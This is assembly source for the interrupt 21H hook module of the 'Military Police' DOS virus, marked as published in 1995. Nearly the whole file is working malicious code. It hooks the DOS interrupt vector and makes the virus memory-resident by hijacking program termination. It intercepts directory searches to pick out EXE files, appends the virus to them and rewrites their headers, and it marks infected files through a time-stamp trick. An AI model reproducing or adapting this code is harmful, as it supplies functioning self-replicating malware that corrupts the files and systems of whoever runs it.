;INT21H.ASM--This module works with the MPOLICE virus. ;(C) 1995 American Eagle Publications, Inc. All Rights Reserved! ;******************************************************************************* ;This is the interrupt 21H hook used by the Military Police Virus ;******************************************************************************* LOWMEM DB 0 ;flag to indicate in low memory already EXE_HDR DB 1CH dup (?) ;buffer for EXE file header FNAME DB 12 dup (0) FSIZE DW 0,0 LOAD_TIME DD ? ;startup time of virus ;The following 10 bytes must stay together because they are an image of 10 ;bytes from the EXE header HOSTS DW 0,STACKSIZE ;host stack and code segments FILLER DW ? ;these are dynamically set by the virus HOSTC DD 0 ;but hard-coded in the 1st generation OLD_21H DD ? ;old interrupt 21H vector INT_21H: cmp ax,4C00H ;standard DOS terminate program? jne I21_1 ;nope, try next function cmp cs:[LOWMEM],0 ;already in low memory? je GO_LOW ;nope, go to low memory I21_1: cmp ah,11H ;DOS Search First Function jne I21_2 ;no, try search next jmp SRCH_HOOK_START ;yes, go execute hook I21_2: cmp ah,12H ;Search next? jne I21_3 ;no, continue jmp SRCH_HOOK ;yes, go execute hook I21_3: I21R: jmp DWORD PTR cs:[OLD_21H] ;jump to old handler for now ;******************************************************************************* ;This routine moves the virus to low memory by turning an INT 21H, Fctn 4C00H ;into an INT 21H, Fctn 3100H TSR call, only the virus takes over the memory ;being relinquished by the program. GO_LOW: mov cs:[LOWMEM],1 ;set flag to say this was done mov ah,62H ;get PSP of process int 21H ;requesting to terminate add bx,10H ;adjust for PSP sub bx,7C0H-32*(VIR_SIZE+1) ;adjust for virus starting offs mov es,bx ;and put it here push cs pop ds ;ds=cs mov si,OFFSET BBS ;move virus to the PSP mov di,si mov cx,512*(VIR_SIZE+2) rep movsb xor ax,ax mov ds,ax ;ds=0 mov bx,21H*4 ;examine INT 21H vector cmp [bx],OFFSET INT_21H ;is it up here? jne FIND21H ;nope, it's been changed mov ax,cs ;so we'd better look for it cmp [bx+2],ax je SET21H ;else go change it in int tbl FIND21H:push es mov es,[bx+2] ;didn't find vector--look for pop ds ;ds=new segment now mov di,0 ;it under another hook mov cx,7FFEH cld F21L: mov ax,OFFSET INT_21H ;search for cs:OFFSET INT_21H repnz scasw ;in this segment jnz ABORT_GO_LOW ;not found, don't go resident mov ax,cs ;ok, found OFFSET INT_21H add di,2 ;so check for proper cs dec cx cmp es:[di],ax ;is it there?? jne F21L ;no, continue looking mov ax,ds ;yes, found it mov es:[di],ax ;replace it with new cs SET21H: mov [bx+2],es ;change int 21H vector SET13H: mov ah,13H ;move interrupt 13H vector push es ;to new segment pop ds ;ds=es mov dx,OFFSET INT_13H ;using this secret little call! mov bx,dx int 2FH xor ax,ax ;adjust memory size from BIOS mov ds,ax ;back to normal add WORD PTR [MEMSIZE],(VIR_SIZE+3)/2 SETUP_MCB: ;now adjust the Z block mov ah,52H ;get list of lists @ in es:bx int 21H mov dx,es:[bx-2] ;get first MCB segment in ax xor bx,bx ;now find the Z block mov es,dx ;set es=MCB segment FINDZ: cmp BYTE PTR es:[bx],'Z' je FOUNDZ ;got it mov dx,es ;nope, go to next in chain inc dx add dx,es:[bx+3] mov es,dx jmp FINDZ FOUNDZ: add WORD PTR es:[bx+3],64*((VIR_SIZE+3)/2) ;adjust size mov ax,3100H mov dx,10H + 32*(VIR_SIZE+2) ;memory to keep (enough for vir) GLX: jmp DWORD PTR cs:[OLD_21H] ;let DOS do the TSR now ABORT_GO_LOW: mov ax,4C00H ;do a normal dos terminate jmp GLX ;******************************************************************************* ;The following is the file search hook, and the EXE file infect routine. ;It hooks the FCB-based DOS Search First (11H) and Search Next (12H) routines. FILE_FND DB 0 ;file found flag 1 = search found something SRCH_HOOK_START: mov cs:[FILE_FND],0 SRCH_HOOK: pushf ;call original int 21H handler call DWORD PTR cs:[OLD_21H] or al,al ;was it successful? jnz SDONE ;nope, exit and do infect, if any, now pushf cmp cs:[FILE_FND],1 ;already got a file? je ESF ;yes, don't look any further push ax ;save registers push bx push cx push dx push di push si push es push ds mov ah,2FH ;get dta address in es:bx int 21H cmp BYTE PTR es:[bx],0FFH jne SH1 ;an extended fcb? add bx,7 ;yes, adjust index SH1: cmp WORD PTR es:[bx+9],'XE' jne EXIT_SRCH ;check for an EXE file cmp BYTE PTR es:[bx+11],'E' jne EXIT_SRCH ;if not EXE, just return control to caller call FILE_OK ;ok to infect? jz EXIT_SRCH ;no, just exit to caller call SETUP_DATA ;yes, set up data for later call to INFECT EXIT_SRCH: pop ds pop es pop si ;restore registers pop di pop dx pop cx pop bx pop ax ESF: popf retf 2 ;return to original caller with current flags ;When we get here, the search is done and we can proceed with the infection, ;if a file to infect was found. SDONE: pushf cmp cs:[FILE_FND],1 ;was anything found? jne SEXIT ;no, just return to caller push ax ;else go infect it push bx push cx push dx push ds push es call INFECT_FILE ;go ahead and infect it mov cs:[FILE_FND],0 ;and reset this flag pop es pop ds pop dx pop cx pop bx pop ax SEXIT: popf retf 2 ;This routine sets up all the data which the infect routine will need to ;infect the file after the search has completed. SETUP_DATA: push cs pop ds mov BYTE PTR [FILE_FND],1 ;set this flag push es ;now prep to save the file name pop ds mov si,bx ;ds:si now points to fcb inc si ;now, to file name in fcb push cs pop es mov di,OFFSET FNAME ;es:di points to file name buffer here mov cx,8 ;number of bytes in file name FO1: lodsb stosb cmp al,20H je FO2 loop FO1 inc di FO2: mov BYTE PTR es:[di-1],'.' mov ax,'XE' stosw mov ax,'E' stosw ret ;Function to determine whether the EXE file found by the search routine is ;infected. If infected, FILE_OK returns with Z set. FILE_OK: mov ax,es:[bx+17H] ;get the file time stamp add ax,es:[bx+19H] ;add the date stamp to it and al,00011111B ;get the seconds/day field cmp al,31 ;they should add up to 31 ret ;if it's infected ;This routine moves the virus (this program) to the end of the EXE file ;Basically, it just copies everything here to there, and then goes and ;adjusts the EXE file header. It also makes sure the virus starts ;on a paragraph boundary, and adds how many bytes are necessary to do that. INFECT_FILE: push cs pop es push cs pop ds ;now cs, ds and es all point here mov dx,OFFSET FNAME mov ax,3D02H ;r/w access open file using handle int 21H jnc IF1_ jmp OK_END1 ;error opening - C set - quit w/o closing IF1_: mov bx,ax ;put handle into bx and leave bx alone mov cx,1CH ;read 28 byte EXE file header mov dx,OFFSET EXE_HDR ;into this buffer mov ah,3FH ;for examination and modification int 21H jc IF2_ ;error in reading the file, so quit cmp WORD PTR [EXE_HDR],'ZM';check EXE signature of MZ jnz IF2_ ;close & exit if not cmp WORD PTR [EXE_HDR+26],0;check overlay number jnz IF2_ ;not 0 - exit with c set cmp WORD PTR [EXE_HDR+24],40H ;is rel table at offset 40H or more? jnc IF2_ ;yes, it is not a DOS EXE, so skip it cmp WORD PTR [EXE_HDR+14H],OFFSET START_EXE - OFFSET BBS ;see if initial ip = virus initial ip jnz IF3_ IF2_: jmp OK_END IF3_: mov ax,4202H ;seek end of file to determine size xor cx,cx xor dx,dx int 21H mov [FSIZE],ax ;and save it here mov [FSIZE+2],dx mov cx,WORD PTR [FSIZE+2] ;adjust file length to paragraph mov dx,WORD PTR [FSIZE] ;boundary or dl,0FH add dx,1 adc cx,0 mov WORD PTR [FSIZE+2],cx mov WORD PTR [FSIZE],dx mov ax,4200H ;set file pointer, relative to beginning int 21H ;go to end of file + boundary mov dx,OFFSET BBS ;ds:dx = start of virus mov cx,OFFSET ENDCODE sub cx,dx ;cx = bytes to write mov ah,40H ;write body of virus to file int 21H mov dx,WORD PTR [FSIZE] ;find relocatables in code mov cx,WORD PTR [FSIZE+2] ;original end of file add dx,OFFSET HOSTS - OFFSET BBS ; + offset of HOSTS adc cx,0 ;cx:dx is that number mov ax,4200H ;set file pointer to 1st relocatable int 21H mov dx,OFFSET EXE_HDR+14 ;get correct host ss:sp, cs:ip mov cx,10 mov ah,40H ;and write it to HOSTS/HOSTC int 21H xor cx,cx ;so now adjust the EXE header values xor dx,dx mov ax,4200H ;set file pointer to start of file int 21H mov ax,WORD PTR [FSIZE] ;calculate viral initial CS mov dx,WORD PTR [FSIZE+2] ; = File size / 16 - Header Size(Para) mov cx,16 div cx ;dx:ax contains file size / 16 sub ax,WORD PTR [EXE_HDR+8] ;subtract exe header size, in paragraphs mov WORD PTR [EXE_HDR+22],ax;save as initial CS mov WORD PTR [EXE_HDR+14],ax;save as initial SS mov WORD PTR [EXE_HDR+20],OFFSET START_EXE - OFFSET BBS;save init ip mov WORD PTR [EXE_HDR+16],OFFSET ENDCODE - OFFSET BBS + STACKSIZE ;save initial sp mov dx,WORD PTR [FSIZE+2] ;calculate new file size for header mov ax,WORD PTR [FSIZE] ;get original size add ax,OFFSET ENDCODE - OFFSET BBS + 200H ;add virus size + 1 para adc dx,0 mov cx,200H ;divide by paragraph size div cx ;ax=paragraphs, dx=last paragraph size mov WORD PTR [EXE_HDR+4],ax ;and save paragraphs here mov WORD PTR [EXE_HDR+2],dx ;last paragraph size here mov cx,1CH ;and save 1CH bytes of header mov dx,OFFSET EXE_HDR ;at start of file mov ah,40H int 21H OK_END: mov ax,5700H ;get file time/date stamp int 21H and cl,11100000B ;zero the time seconds add cl,31 ;adjust to 31 mov al,dl and al,00011111B ;get days sub cl,al ;make al+cl 1st 5 bits add to 31 mov ax,5701H ;and set new stamp int 21H mov ah,3EH ;close file now int 21H OK_END1:ret ;that's it, infection is complete!